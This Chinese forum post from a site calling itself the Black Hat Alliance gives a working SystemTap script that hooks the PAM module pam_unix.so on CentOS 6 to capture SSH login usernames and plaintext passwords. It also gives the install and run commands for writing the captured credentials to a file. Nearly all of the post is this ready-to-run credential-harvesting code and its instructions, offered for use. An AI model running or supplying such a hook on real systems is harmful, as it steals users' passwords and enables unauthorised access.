黑帽联盟

 找回密码
 会员注册
查看: 1394|回复: 0
打印 上一主题 下一主题

[脚本语言] centos6.x 抓取ssh登录的用户名和密码

[复制链接]

895

主题

38

听众

3322

积分

管理员

Rank: 9Rank: 9Rank: 9

  • TA的每日心情

    前天 13:01
  • 签到天数: 1643 天

    [LV.Master]伴坛终老

    原理主要是对PAM模块pam_unix.so库文件的函数调用进行捕获,因为用户登录认证需要使用pam_unix.so库文件。

    测试环境:CentOS6.4 32位
    内核版本:2.6.32-358.el6.i686

    yum --releasever=6.4 update
    yum install -y systemtap
    debuginfo-install $(rpm -qf /lib/security/pam_unix.so)

    创建文件,写入以下代码
    touch /root/capture_pass.stp
    1. #!/usr/bin/stap
    2. global username, pass, isSuccRet = 1;
    3. probe process("/lib/security/pam_unix.so").function("_unix_verify_password")
    4. {
    5. username = user_string($name);
    6. pass = user_string($p);
    7. }
    8. probe process("/lib/security/pam_unix.so").function("_unix_verify_password").return
    9. {
    10. if ($return == 0)
    11. {
    12. printf("User: %sPassword: %s", username, pass);
    13. isSuccRet = 0;
    14. }
    15. }
    16. probe process("/lib/security/pam_unix.so").function("pam_sm_open_session")
    17. {
    18. if (isSuccRet != 0)
    19. {
    20. printf("Login via ssh service.User: %sPassword: %s", username, pass);
    21. }
    22. isSuccRet = 1;
    23. }
    复制代码

    创建一个记录密码的文件
    touch password.txt

    赋予可执行权限
    chmod +x capture_pass.stp

    执行systemstap脚本
    stap capture_pass.stp -o password.txt
    151457146.jpg

    本地执行capture_pass.stp脚本,同时ssh远程登录系统,即使第一次登录失败也没有问题,不会记录尝试输入的错误密码。登录成功后ctl+C终止脚本运行,查看password.txt,成功捕获。
    093409635.jpg

    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    勿忘初心,方得始终!
    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部